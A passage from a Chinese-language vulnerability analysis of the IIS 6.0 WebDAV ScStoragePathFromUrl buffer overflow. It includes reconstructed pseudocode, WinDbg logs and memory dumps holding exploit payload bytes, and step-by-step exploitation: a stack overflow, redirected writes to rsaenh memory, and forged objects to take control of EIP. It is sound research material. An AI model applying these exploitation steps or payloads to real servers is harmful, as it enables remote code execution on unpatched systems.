03fef7ac 67125484 httpext!CMethUtil::ScStoragePathFromUrl+0x18
03fefc34 6712561e httpext!HrCheckIfHeader+0x15e
03fefc44 6711f659 httpext!HrCheckStateHeaders+0x10
03fefc78 6711f7c5 httpext!CPropFindRequest::Execute+0xf0
03fefc90 671296f2 httpext!DAVPropFind+0x47
$$ ......

$$ 异常可以被处理,因此不会崩溃
0:006> g
(e74.e80): C++ EH exception - code e06d7363 (first chance)

2.3 CStackBuffer

崩溃所在模块 httpext.dll 会多次使用一个名为 CStackBuffer 的模板,笔者写了一份类似的代码,以辅助对漏洞原理的理解。为了简单起见,默认存储类型为 unsigned char,因此省略了模板参数 typename T

CStackBuffer 的相关特性如下:

  • 默认使用栈作为存储空间,大小由模板参数 SIZE 决定;
  • 通过 resize 可以将堆设置为存储空间;
  • 通过 fake_heap_size 的最低位标识存储空间的类型;
  • 通过 release 释放存储空间;
  • 对象的内存布局依次为:栈存储空间、堆块大小成员、存储空间指针;

CStackBuffer 的源码如下:

template<unsigned int SIZE>
class CStackBuffer
{
public:
    CStackBuffer(unsigned int size)
    {
        fake_heap_size = 0;
        heap_buffer = NULL;
        resize(size);
    }

    unsigned char* resize(unsigned int size)
    {
        if (size <= SIZE)
        {
            size = SIZE;
        }

        if (fake_heap_size >> 2 < size)
        {
            if (fake_heap_size & 1 || size > SIZE)
            {
                release();
                heap_buffer = (unsigned char*)malloc(size);
                fake_heap_size |= 1;
            }
            else
            {
                heap_buffer = buffer;
            }
            fake_heap_size = (4 * size) | (fake_heap_size & 3);
        }
        fake_heap_size |= 2;
        return heap_buffer;
    }

    void release()
    {
        if (fake_heap_size & 1)
        {
            free(heap_buffer);
            heap_buffer = NULL;
        }
    }

    unsigned char* get()
    {
        return heap_buffer;
    }

    unsigned int getFakeSize()
    {
        return fake_heap_size;
    }

private:
    unsigned char buffer[SIZE];
    unsigned int fake_heap_size;
    unsigned char* heap_buffer;
};

2.4 漏洞调试

根据之前的简单分析,可知 HrCheckIfHeader 是一个关键函数,因为:

  • 目标堆块是在这个函数中动态分配的;
  • 从这里可以执行到触发异常的函数 ScStoragePathFromUrl

函数 HrCheckIfHeader 简化后的伪代码如下所示:

int HrCheckIfHeader(CMethUtil *pMethUtil)
{
    CStackBuffer<260> buffer1;
    LPWSTR lpIfHeader = CRequest::LpwszGetHeader("If", 1);
    IFILTER ifilter(lpIfHeader);
    LPWSTR lpToken = ifilter->PszNextToken(0);

    while (1)
    {
        // <http://xxxxx>
        if (lpToken)
        {
            CStackBuffer<260> buffer2;
            // http://xxxx>
            LPWSTR lpHttpUrl = lpToken + 1;
            size_t length = wcslen(lpHttpUrl);
            if (!buffer2.resize(2*length + 2))
            {
                buffer2.release();
                return 0x8007000E;
            }

            // 将 URL 规范化后存入 buffer2
            // length = wcslen(lpHttpUrl) + 1
            // eax = 0
            int res = ScCanonicalizePrefixedURL(
                lpHttpUrl, buffer2.get(), &length);
            if (!res)
            {
                length = buffer1.getFakeSize() >> 3;
                res = pMethUtil->ScStoragePathFromUrl(
                    buffer2.get(), buffer1.get(), &length);
                if (res == 1)
                {
                    if (buffer1.resize(length))
                    {
                        res = pMethUtil->ScStoragePathFromUrl(
                            buffer2.get(), buffer1.get(), &length);
                    }
                }
            }
        }
        // ......
    }
    // ......
}

可以看出这里的关键函数为 CMethUtil::ScStoragePathFromUrl,该函数会将请求转发给 ScStoragePathFromUrl,后者简化后的伪代码如下所示:

typedef struct _HSE_UNICODE_URL_MAPEX_INFO {
    WCHAR lpszPath[MAX_PATH];
    DWORD dwFlags;        // The physical path that the virtual root maps to
    DWORD cchMatchingPath;// Number of characters in the physical path
    DWORD cchMatchingURL; // Number of characters in the URL
    DWORD dwReserved1;
    DWORD dwReserved2;
} HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO;

int ScStoragePathFromUrl(
    const struct IEcb *iecb, 
    const wchar_t *buffer2, 
    wchar_t *buffer1, 
    unsigned int *length, 
    struct CVRoot **a5)
{
    wchar_t *Str = buffer2;
    // 检查是否为 https://locahost:80/path http://localhost/path
    // 返回 /path>
    int result = iecb->ScStripAndCheckHttpPrefix(&Str);
    if (result < 0 || *Str != '/') return 0x80150101;
    int v7 = wcslen(Str);

    // c:\inetpub\wwwroot\path
    // dwFlags          = 0x0201
    // cchMatchingPath  = 0x12
    // cchMatchingURL   = 0x00
    // result = 0
    HSE_UNICODE_URL_MAPEX_INFO mapinfo;
    result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);
    int v36 = result;
    if (result < 0) return result;

    // L"\x00c:\inetpub\wwwroot"
    // n == 0
    wchar_t *Str1 = NULL;
    int n = iecb->CchGetVirtualRootW(&Str1);
    if (n == mapinfo.cchMatchingURL)
    {
        if (!n || Str[n-1] && !_wcsnicmp(Str1, Str, n))
        {
            goto LABEL_14;
        }
    }
    else if (n + 1 == mapinfo.cchMatchingURL)
    {
        if (Str[n] == '/' || Str[n] == 0)
        {
            --mapinfo.cchMatchingURL;
            goto LABEL_14;
        }
    }
    v36 = 0x1507F7;
LABEL_14:
    if (v36 == 0x1507F7 && a5)      // a5 == 0
    {
        // ......
    }

    // 0x12
    int v16 = mapinfo.cchMatchingPath;
    if (mapinfo.cchMatchingPath)
    {
        // v17 = L"t\aaaaaaaAAA...."
        wchar_t *v17 = ((char*)&mapinfo - 2) + 2*v16;
        if (*v17 == '\\')
        {
            // ......
        }
        else if (!*v17)
        {
            // ......
        }
    }

    // v7 = wcslen(/path>)
    int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
    int v19 = *length < v18;
    if (v19)
    {
        *length = v18;
        if (a5) 
        {
            // ......
        }
        result = 1;
    }
    else 
    {
        int v24 = (2*mapinfo.cchMatchingPath >> 2);
        qmemcpy(
            buffer1, 
            mapinfo.lpszPath, 
            4 * v24);
        LOBYTE(v24) = 2*mapinfo.cchMatchingPath;
        qmemcpy(
            &buffer1[2 * v24],
            (char*)mapinfo.lpszPath + 4 * v24,
            v24 & 3);
        qmemcpy(
            &buffer1[mapinfo.cchMatchingPath],
            &Str[mapinfo.cchMatchingURL],
            2 * (v7 - mapinfo.cchMatchingURL) + 2);
        for (wchar_t *p = &buffer1[mapinfo.cchMatchingPath]; *p; p += 2)
        {
            if (*p == '/') *p = '\\';
        }
        *length = mapinfo.cchMatchingPath - mapinfo.cchMatchingURL + v7 + 1;
        result = v36;
    }

    return result;
}

函数 HrCheckIfHeader 会调用 ScStoragePathFromUrl 两次,在第一次调用 ScStoragePathFromUrl 时,会执行如下的关键代码:

{
    wchar_t *Str = buffer2;
    // 返回 /path>
    int result = iecb->ScStripAndCheckHttpPrefix(&Str);
    int v7 = wcslen(Str);

    HSE_UNICODE_URL_MAPEX_INFO mapinfo;
    result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);

    // 0x12   L"c:\inetpub\wwwroot"
    int v16 = mapinfo.cchMatchingPath;

    //  v18 = 0x12 - 0 + wcslen('/path>') + 1 = 0x12 + 10249 + 1 = 0x281c
    int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
    int v19 = *length < v18;
    if (v19)
    {
        *length = v18;
        if (a5) 
        {
            // ......
        }
        result = 1;
    }

    return result;
}

这里得到 v18 的值为 0x281c,而 *length 的值由参数传递,实际由 CStackBuffer::resize 计算得到,最终的值为 0x82,计算公式为:

fake_heap_size = 0;
size = 260;
fake_heap_size = (4 * size) | (fake_heap_size & 3);
fake_heap_size |= 2;

length = fake_heap_size >> 3;

显然有 0x82 < 0x281c,所以函数 ScStoragePathFromUrl*length 填充为 0x281c 并返回 1。实际上,这个值代表的是真实物理路径的字符个数

0x281c = 0x12 ("c:\inetpub\wwwroot") + 10248 ("/aaa..") + 1 ('>') + 1 ('\0')

HrCheckIfHeader 第二次调用 ScStoragePathFromUrl 之前,将根据 length 的值设置 CStackBuffer 缓冲区的大小。然而,这里设置的大小是字符个数,并不是字节数,所以第二次调用 ScStoragePathFromUrl 时会导致缓冲区溢出。实际上,调用 CStackBuffer::resize 的位置就是 httpext!HrCheckIfHeader+0x0000013c,也就是堆溢出发生时通过 !heap -p -a edi 命令得到的栈帧。

res = pMethUtil->ScStoragePathFromUrl(
    buffer2.get(), buffer1.get(), &length);
if (res == 1)
{
    if (buffer1.resize(length))    // httpext!HrCheckIfHeader+0x0000013c
    {
        res = pMethUtil->ScStoragePathFromUrl(
            buffer2.get(), buffer1.get(), &length);
    }
}

小结:

  • 函数 ScStoragePathFromUrl 负责将 URL 请求中的文件路径转换为实际的物理路径,函数的名字也印证了这一猜想;
  • 第一次调用此函数时,由于缓冲区大小不够,返回实际物理路径的字符个数;
  • 第二次调用此函数之前先调整缓冲区的大小;
  • 由于缓冲区的大小设置成了字符个数,而不是字节数,因此导致缓冲区溢出;
  • 两次调用同一个 API 很符合微软的风格(第一次得到所需的空间大小,调整缓冲区大小后再次调用);

3. 漏洞利用

3.1 URL 解码

在函数 HrCheckIfHeader 中,首先调用 CRequest::LpwszGetHeader 来获取 HTTP 头中的特定字段的值,该函数简化后的伪代码如下所示:

int CRequest::LpwszGetHeader(const char *tag, int a3)
{
    // 查找缓存
    int res = CHeaderCache<unsigned short>::LpszGetHeader(
        (char *)this + 56, tag);
    if (res) return res;

    // 获取值
    char *pszHeader = this->LpszGetHeader(tag);
    if (!pszHeader) return 0;

    int nHeaderChars = strlen(pszHeader);
    CStackBuffer<tagPROPVARIANT, 64> stackbuffer(64);
    if (!stackbuffer.resize(2 * nHeaderChars + 2))
    {
        // _CxxThrowException(...);
    }

    // 调用 ScConvertToWide 进行转换
    int v11 = nHeaderChars + 1;
    char* language = this->LpszGetHeader("Accept-Language");
    int v7 = ScConvertToWide(pszHeader, &v11, 
                             stackbuffer.get(), language, a3);
    if ( v7 ) // _CxxThrowException(...);

    // 设置缓存
    res = CHeaderCache<unsigned short>::SetHeader(
            tag, stackbuffer.get(), 0);
    stackbuffer.release();

    return res;
}

可以看出这里通过 CHeaderCache 建立缓存机制,此外获取到的值会通过调用 ScConvertToWide 来进行转换操作。事实上,ScConvertToWide 会调用 MultiByteToWideChar 对字符串进行转换。

MultiByteToWideChar(
    CP_UTF8, 
    0, 
    pszHeader, 
    strlen(pszHeader) + 1, 
    lpWideCharStr, 
    strlen(pszHeader) + 1);

由于存在编码转换操作,Exploit 中的 Payload 需要先进行编码,这样才能保证解码后得到正常的 Payload。字符串转换的调试日志如下所示:

0:007> p
eax=00000000 ebx=00000655 ecx=077f59a9 edx=077f5900 esi=0000fde9 edi=77e62fd6
eip=6712721f esp=03fef5b0 ebp=03fef71c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScConvertToWide+0x150:
6712721f ffd7            call    edi {kernel32!MultiByteToWideChar (77e62fd6)}

$$ 调用 MultiByteToWideChar 时的参数
0:007> dds esp L6
03fef5b0  0000fde9       $$ CP_UTF8
03fef5b4  00000000       $$ 0
03fef5b8  077f59a8       $$ pszHeader
03fef5bc  00000655       $$ strlen(pszHeader) + 1
03fef5c0  077f3350       $$ lpWideCharStr
03fef5c4  00000655       $$ strlen(pszHeader) + 1

$$ 转换前的字符串
0:007> db 077f59a8
077f59a8  3c 68 74 74 70 3a 2f 2f-6c 6f 63 61 6c 68 6f 73  <http://localhos
077f59b8  74 2f 61 61 61 61 61 61-61 e6 bd a8 e7 a1 a3 e7  t/aaaaaaa.......
077f59c8  9d a1 e7 84 b3 e6 a4 b6-e4 9d b2 e7 a8 b9 e4 ad  ................
077f59d8  b7 e4 bd b0 e7 95 93 e7-a9 8f e4 a1 a8 e5 99 a3  ................
077f59e8  e6 b5 94 e6 a1 85 e3 a5-93 e5 81 ac e5 95 a7 e6  ................
077f59f8  9d a3 e3 8d a4 e4 98 b0-e7 a1 85 e6 a5 92 e5 90  ................
077f5a08  b1 e4 b1 98 e6 a9 91 e7-89 81 e4 88 b1 e7 80 b5  ................
077f5a18  e5 a1 90 e3 99 a4 e6 b1-87 e3 94 b9 e5 91 aa e5  ................

0:007> p
eax=000003d1 ebx=00000655 ecx=0000b643 edx=00000000 esi=0000fde9 edi=77e62fd6
eip=67127221 esp=03fef5c8 ebp=03fef71c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScConvertToWide+0x152:
67127221 85c0            test    eax,eax

$$ 转换后的字符串
0:007> db 077f3350
077f3350  3c 00 68 00 74 00 74 00-70 00 3a 00 2f 00 2f 00  <.h.t.t.p.:././.
077f3360  6c 00 6f 00 63 00 61 00-6c 00 68 00 6f 00 73 00  l.o.c.a.l.h.o.s.
077f3370  74 00 2f 00 61 00 61 00-61 00 61 00 61 00 61 00  t./.a.a.a.a.a.a.
077f3380  61 00 68 6f 63 78 61 77-33 71 36 69 72 47 39 7a  a.hocxaw3q6irG9z
077f3390  77 4b 70 4f 53 75 4f 7a-68 48 63 56 54 6d 45 68  wKpOSuOzhHcVTmEh
077f33a0  53 39 6c 50 67 55 63 67-64 33 30 46 45 78 52 69  S9lPgUcgd30FExRi
077f33b0  31 54 58 4c 51 6a 41 72-31 42 35 70 50 58 64 36  1TXLQjAr1B5pPXd6
077f33c0  47 6c 39 35 6a 54 34 50-43 54 52 77 61 50 32 32  Gl95jT4PCTRwaP22

3.2 栈溢出

根据前面的分析,可以知道当字符串超长时是可以导致堆溢出的,但问题是堆块的基地址并不是固定的。实际上,当 CStackBuffer 使用栈作为存储空间时,也可以触发栈溢出,原理和堆溢出是一样的。

当然,这里不是通过栈溢出来执行代码,因为栈上有 cookie

.text:671255F5                 mov     large fs:0, ecx
.text:671255FC                 mov     ecx, [ebp+var_10]
.text:671255FF                 pop     ebx
.text:67125600                 call    @__security_check_cookie@4
.text:67125605                 leave
.text:67125606                 retn    8
.text:67125606 ?HrCheckIfHeader@@YGJPAVCMethUtil@@PBG@Z endp

在函数 HrCheckIfHeader 中存在两个 CStackBuffer 实例:

  char c_stack_buffer_1;            // [sp+44h] [bp-430h]@1
  unsigned int v29;                 // [sp+148h] [bp-32Ch]@9
  wchar_t *stack_buffer1;           // [sp+14Ch] [bp-328h]@9
  char c_stack_buffer_2;            // [sp+150h] [bp-324h]@7
  unsigned __int16 *stack_buffer2;  // [sp+258h] [bp-21Ch]@8

基于前面对 CStackBuffer 内存布局的分析,可以知道这里栈空间的分布为:

┌─────────────────────────┐
│            2.heap_buffer│  ebp-21C
├─────────────────────────┤
│         2.fake_heap_size│  ebp-220
├─────────────────────────┤
│CStackBuffer2.buffer[260]│  ebp-324
├─────────────────────────┤
│            1.heap_buffer│  ebp-328
├─────────────────────────┤
│         1.fake_heap_size│  ebp-32C
├─────────────────────────┤
│CStackBuffer1.buffer[260]│  ebp-430
└─────────────────────────┘

下面要重点分析的代码片段为:

res = pMethUtil->ScStoragePathFromUrl(
    buffer2.get(), buffer1.get(), &length);     // (1)
if (res == 1)
{
    if (buffer1.resize(length))                 // (2)
    {
        res = pMethUtil->ScStoragePathFromUrl(  // (3)
            buffer2.get(), buffer1.get(), &length);
    }
}

(1) HrCheckIfHeader 第一次调用 ScStoragePathFromUrl 时传递的参数分析如下(函数返回值为 1,长度设置为 0xaa):

0:006> dds esp L3
03faf7b4  077d8eb0      $$ http://localhost/aaaaaaa....
03faf7b8  03faf804      $$ CStackBuffer1.buffer
03faf7bc  03faf800      $$ 00000082

0:006> dd 03faf800 L1
03faf800  

0:006> db 077d8eb0
077d8eb0  68 00 74 00 74 00 70 00-3a 00 2f 00 2f 00 6c 00  h.t.t.p.:././.l.
077d8ec0  6f 00 63 00 61 00 6c 00-68 00 6f 00 73 00 74 00  o.c.a.l.h.o.s.t.
077d8ed0  2f 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00  /.a.a.a.a.a.a.a.
077d8ee0  68 6f 63 78 61 77 33 71-36 69 72 47 39 7a 77 4b  hocxaw3q6irG9zwK
077d8ef0  70 4f 53 75 4f 7a 68 48-63 56 54 6d 45 68 53 39  pOSuOzhHcVTmEhS9
077d8f00  6c 50 67 55 63 67 64 33-30 46 45 78 52 69 31 54  lPgUcgd30FExRi1T
077d8f10  58 4c 51 6a 41 72 31 42-35 70 50 58 64 36 47 6c  XLQjAr1B5pPXd6Gl
077d8f20  39 35 6a 54 34 50 43 54-52 77 61 50 32 32 4b 6d  95jT4PCTRwaP22Km
077d8f30  34 6c 47 32 41 62 4d 37-61 51 62 58 73 47 50 52  4lG2AbM7aQbXsGPR
077d8f40  70 36 44 75 6a 68 74 33-4a 4e 6b 78 76 49 73 4e  p6Dujht3JNkxvIsN
077d8f50  6a 4c 7a 57 71 6f 4a 58-30 32 6e 37 49 4b 4d 52  jLzWqoJX02n7IKMR
077d8f60  63 48 4c 6f 56 75 75 75-6f 66 68 76 4d 44 70 50  cHLoVuuuofhvMDpP
077d8f70  36 7a 4b 62 57 65 50 75-72 6a 6b 7a 62 77 58 76  6zKbWePurjkzbwXv
077d8f80  48 62 31 65 54 30 79 6c-4a 50 62 54 33 50 77 35  Hb1eT0ylJPbT3Pw5
077d8f90  77 6a 44 41 34 33 76 64-46 4d 54 56 6c 47 43 65  wjDA43vdFMTVlGCe
077d8fa0  32 76 78 72 69 57 38 43-72 62 30 5a 38 59 48 54  2vxriW8Crb0Z8YHT
077d8fb0  02 02 02 02 c0 12 03 68-44 6c 56 52 37 4b 6d 6c  .......hDlVR7Kml
077d8fc0  58 4f 5a 58 50 79 6a 49-4f 58 52 4a 50 41 4d 66  XOZXPyjIOXRJPAMf
077d8fd0  c0 13 03 68 34 48 31 65-43 6f 66 6e 41 74 6c 43  ...h4H1eCofnAtlC
077d8fe0  c0 13 03 68 43 53 41 6a-52 70 30 33 66 58 4c 42  ...hCSAjRp03fXLB
077d8ff0  4b 70 46 63 73 51 41 79-50 7a 6c 4a 3e 00 00 00  KpFcsQAyPzlJ>...
077d9000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

(2) 因为 ScStoragePathFromUrl 返回 0xaa,所以 buffer1.resize(0xaa) 并不会在堆上分配空间,而是直接使用栈上的 buffer

(3) 第二次调用 ScStoragePathFromUrl 时会导致栈溢出,实际结果是 CStackBuffer1.fake_heap_size 被改写为 0x02020202CStackBuffer1.heap_buffer 被改写为 0x680312c0

0:006> dds esp L3
03faf7b4  077d8eb0      $$ http://localhost/aaaaaaa....
03faf7b8  03faf804      $$ CStackBuffer1.buffer
03faf7bc  03faf800      $$ 00000412 = ((0x104 * 4) | (0x82 & 3)) | 2

$$ 留意最后面 2 个 DWORD 的值
0:006> db ebp-430 L10C
03faf804  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03faf814  c0 59 55 03 00 00 00 00-00 10 08 00 60 f8 fa 03  .YU.........`...
03faf824  fc f7 fa 03 f8 64 02 07-94 f8 fa 03 70 82 82 7c  .....d......p..|
03faf834  a0 6e 87 7c 00 00 00 00-9c 6e 87 7c 00 00 00 00  .n.|.....n.|....
03faf844  01 00 00 00 16 00 00 00-23 9f 87 7c 00 00 00 00  ........#..|....
03faf854  c4 af 7b 04 02 00 00 01-00 00 00 00 04 5d 88 8a  ..{..........]..
03faf864  6c 00 00 00 8c 1e 8f 60-82 1e 8f 60 02 00 00 00  l......`...`....
03faf874  9a 1e 8f 60 34 fb fa 03-33 00 00 00 00 00 00 00  ...`4...3.......
03faf884  8c 1e 8f 60 52 23 8f 60-22 00 00 00 00 00 00 00  ...`R#.`".......
03faf894  00 00 00 00 00 00 00 00-01 00 00 00 0c 00 00 00  ................
03faf8a4  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03faf8b4  f6 67 ca 77 00 00 00 00-00 00 00 00 00 00 00 00  .g.w............
03faf8c4  00 00 00 00 00 00 00 00-20 f9 fa 03 4a b0 bc 77  ........ ...J..w
03faf8d4  85 05 00 00 4f f9 fa 03-5b 20 11 67 5c b0 bc 77  ....O...[ .g\..w
03faf8e4  5b 20 11 67 b0 72 bd 77-4f f9 fa 03 5b 20 11 67  [ .g.r.wO...[ .g
03faf8f4  13 00 00 00 58 00 00 00-00 00 00 00 e8 64 02 07  ....X........d..
03faf904  c0 17 bf 77 12 04 00 00-04 f8 fa 03              ...w........
                      ^^^^^^^^^^^ ~~~~~~~~~~~

0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=03faf804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=03faf7c0 ebp=03fafc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0            mov     esi,eax

$$ 留意最后面 2 个 DWORD 的值
0:006> db ebp-430 L10C
03faf804  63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00  c.:.\.i.n.e.t.p.
03faf814  75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00  u.b.\.w.w.w.r.o.
03faf824  6f 00 74 00 5c 00 61 00-61 00 61 00 61 00 61 00  o.t.\.a.a.a.a.a.
03faf834  61 00 61 00 68 6f 63 78-61 77 33 71 36 69 72 47  a.a.hocxaw3q6irG
03faf844  39 7a 77 4b 70 4f 53 75-4f 7a 68 48 63 56 54 6d  9zwKpOSuOzhHcVTm
03faf854  45 68 53 39 6c 50 67 55-63 67 64 33 30 46 45 78  EhS9lPgUcgd30FEx
03faf864  52 69 31 54 58 4c 51 6a-41 72 31 42 35 70 50 58  Ri1TXLQjAr1B5pPX
03faf874  64 36 47 6c 39 35 6a 54-34 50 43 54 52 77 61 50  d6Gl95jT4PCTRwaP
03faf884  32 32 4b 6d 34 6c 47 32-41 62 4d 37 61 51 62 58  22Km4lG2AbM7aQbX
03faf894  73 47 50 52 70 36 44 75-6a 68 74 33 4a 4e 6b 78  sGPRp6Dujht3JNkx
03faf8a4  76 49 73 4e 6a 4c 7a 57-71 6f 4a 58 30 32 6e 37  vIsNjLzWqoJX02n7
03faf8b4  49 4b 4d 52 63 48 4c 6f-56 75 75 75 6f 66 68 76  IKMRcHLoVuuuofhv
03faf8c4  4d 44 70 50 36 7a 4b 62-57 65 50 75 72 6a 6b 7a  MDpP6zKbWePurjkz
03faf8d4  62 77 58 76 48 62 31 65-54 30 79 6c 4a 50 62 54  bwXvHb1eT0ylJPbT
03faf8e4  33 50 77 35 77 6a 44 41-34 33 76 64 46 4d 54 56  3Pw5wjDA43vdFMTV
03faf8f4  6c 47 43 65 32 76 78 72-69 57 38 43 72 62 30 5a  lGCe2vxriW8Crb0Z
03faf904  38 59 48 54 02 02 02 02-c0 12 03 68              8YHT.......h
                      ^^^^^^^^^^^ ~~~~~~~~~~~

3.3 填充数据

通过!address 命令可知地址 0x680312c0 位于 rsaenh 模块中,具备 PAGE_READWRITE 属性。

0:006> !address 680312c0
Failed to map Heaps (error 80004005)
Usage:                  Image
Allocation Base:        68000000
Base Address:           68030000
End Address:            68032000
Region Size:            00002000
Type:                   01000000    MEM_IMAGE
State:                  00001000    MEM_COMMIT
Protect:                00000004    PAGE_READWRITE
More info:              lmv m rsaenh
More info:              !lmi rsaenh
More info:              ln 0x680312c0

0:006> u 680312c0 L1
rsaenh!g_pfnFree+0x4:
680312c0 0000            add     byte ptr [eax],al

在解析 http://localhost/bbbbbbb...... 时,数据将被直接填充到地址 0x680312c0。此时,由于 CStackBuffer1 的长度已经 足够大ScStoragePathFromUrl 只会被调用一次。

$$ ScStoragePathFromUrl 参数
0:006> dds esp L3
03faf7b4  077dc9e0
03faf7b8  680312c0 rsaenh!g_pfnFree+0x4
03faf7bc  03faf800

0:006> dd 03faf800 L1
03faf800  00404040

0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=680312c0 esi=00000000 edi=77bd8ef2
eip=6712544a esp=03faf7c0 ebp=03fafc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x124:
6712544a 8bf0            mov     esi,eax

$$ 填充数据到 0x680312c0
0:006> db 680312c0
680312c0  63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00  c.:.\.i.n.e.t.p.
680312d0  75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00  u.b.\.w.w.w.r.o.
680312e0  6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00  o.t.\.b.b.b.b.b.
680312f0  62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48  b.b.HyuaCOgookEH
68031300  46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56  F6ug3Dq8eWbZ5TaV
68031310  52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43  RiSjWQN8HYUcqIdC
68031320  72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50  rdh4XGyqk3UkHmOP
68031330  46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34  Fzq4ToCtVYooAsW4
0:006> db
68031340  68 61 72 7a 45 37 49 4d-4e 57 48 54 38 4c 7a 36  harzE7IMNWHT8Lz6
68031350  72 35 66 62 43 6e 6d 48-48 35 77 61 5a 4d 74 61  r5fbCnmHH5waZMta
68031360  33 41 65 43 72 52 69 6d-71 36 64 4e 39 6e 53 63  3AeCrRimq6dN9nSc
68031370  64 6b 46 51 30 4f 6f 78-53 72 50 67 53 45 63 7a  dkFQ0OoxSrPgSEcz
68031380  39 71 53 4f 56 44 36 6f-79 73 77 68 56 7a 4a 61  9qSOVD6oyswhVzJa
68031390  45 39 39 36 39 6c 31 45-72 34 65 53 4a 58 4e 44  E9969l1Er4eSJXND
680313a0  44 7a 35 6c 56 5a 41 62-72 6e 31 66 59 59 33 54  Dz5lVZAbrn1fYY3T
680313b0  42 31 65 58 41 59 50 71-36 30 77 57 57 44 61 53  B1eXAYPq60wWWDaS
0:006> db
680313c0  c0 13 03 68 4f 6e 00 68-4f 6e 00 68 47 42 6a 76  ...hOn.hOn.hGBjv
680313d0  c0 13 03 68 57 42 74 4f-47 59 34 52 66 4b 42 4b  ...hWBtOGY4RfKBK
680313e0  64 74 6f 78 82 60 01 68-35 51 7a 72 7a 74 47 4d  dtox.`.h5QzrztGM
680313f0  59 44 57 57 13 b1 00 68-76 31 6f 6e e3 24 01 68  YDWW...hv1on.$.h
68031400  60 14 03 68 00 03 fe 7f-ff ff ff ff c0 13 03 68  `..h...........h
68031410  6e 04 03 68 6e 71 70 74-34 14 03 68 e7 29 01 68  n..hnqpt4..h.).h
68031420  91 93 00 68 31 39 6e 66-55 49 52 30 6b 54 6b 76  ...h19nfUIR0kTkv
68031430  4a 72 61 79 1c 14 03 68-05 6e 00 68 32 77 68 79  Jray...h.n.h2why

3.4 控制 EIP

在函数 HrCheckIfHeader 返回后,后面会跳转到 CParseLockTokenHeader::HrGetLockIdForPath 中去执行,而后者也会多次调用 CMethUtil::ScStoragePathFromUrl 这个函数。同样,解析 URL 第一部分(http://localhost/aaaaaaa....)时完成栈溢出,此时会覆盖到一个引用 CMethUtil 对象的局部变量;在解析 URL 第二部分(http://localhost/bbbbbbb....)时,因为 CMethUtil 已经伪造好,其成员 IEcb 实例同样完成伪造,最后在 ScStripAndCheckHttpPrefix 中实现 EIP 的控制。

CPutRequest::Execute
├──HrCheckStateHeaders
│  └──HrCheckIfHeader
│     ├──CMethUtil::ScStoragePathFromUrl
│     └──CMethUtil::ScStoragePathFromUrl
│
└──FGetLockHandle
   └──CParseLockTokenHeader::HrGetLockIdForPath
      ├──CMethUtil::ScStoragePathFromUrl
      └──CMethUtil::ScStoragePathFromUrl

(1) FGetLockHandle 分析
函数 FGetLockHandle 里面构造了一个 CParseLockTokenHeader 对象,存储于栈上的一个局部变量引用了这个对象 (这一点很重要),调用该对象的成员函数 HrGetLockIdForPath 进入下一阶段。

int __stdcall FGetLockHandle(
    struct CMethUtil *a1, wchar_t *Str, 
    unsigned __int32 a3, const unsigned __int16 *a4, 
    struct auto_ref_handle *a5)
{
  signed int v5; // eax@1
  int result; // eax@2
  CParseLockTokenHeader *v7; // [sp+0h] [bp-54h]@1
  union _LARGE_INTEGER v8; // [sp+40h] [bp-14h]@1
  int v9; // [sp+50h] [bp-4h]@1

  v7 = CParseLockTokenHeader(a1, a4);
  v9 = 0;
  v7->SetPaths(Str, 0);
  v5 = v7->HrGetLockIdForPath(Str, a3, &v8, 0);
  v9 = -1;
  if ( v5 >= 0 )
  {
    result = FGetLockHandleFromId(a1, v8, Str, a3, a5);
  }
  else
  {
    result = 0;
  }
  return result;
}

(2) HrGetLockIdForPath 分析
HrGetLockIdForPathHrCheckIfHeader 有点类似,同样存在两个 CStackBuffer 变量。不同的是,v22.HighPart 指向父级函数 HrGetLockIdForPath 中引用 CParseLockTokenHeader 对象的局部变量,而且这里也会将其转换为 CMethUtil 类型使用。

在解析 URL 第一部分(http://localhost/aaaaaaa....)时,通过栈溢出可以覆盖引用 CParseLockTokenHeader 对象的局部变量,栈布局如下所示。

┌─────────────────────────┐
│   v7 (FGetLockHandle)   │  CParseLockTokenHeader <────┐
├─────────────────────────┤               ↑o            │
│          ......         │               │v            │
├─────────────────────────┤               │e            │
│            2.heap_buffer│  ebp-14       │r            │
├─────────────────────────┤               │f            │
│         2.fake_heap_size│  ebp-18       │l            │
├─────────────────────────┤               │o            │
│CStackBuffer2.buffer[260]│  ebp-11C      │w            │
├─────────────────────────┤ <-------- overwrite data    │
│            1.heap_buffer│  ebp-120 -> heap (url part1)│
├─────────────────────────┤                             │
│         1.fake_heap_size│  ebp-124                    │
├─────────────────────────┤                             │
│CStackBuffer1.buffer[260]│  ebp-228                    │
├─────────────────────────┤                             │
│          ......         │                             │
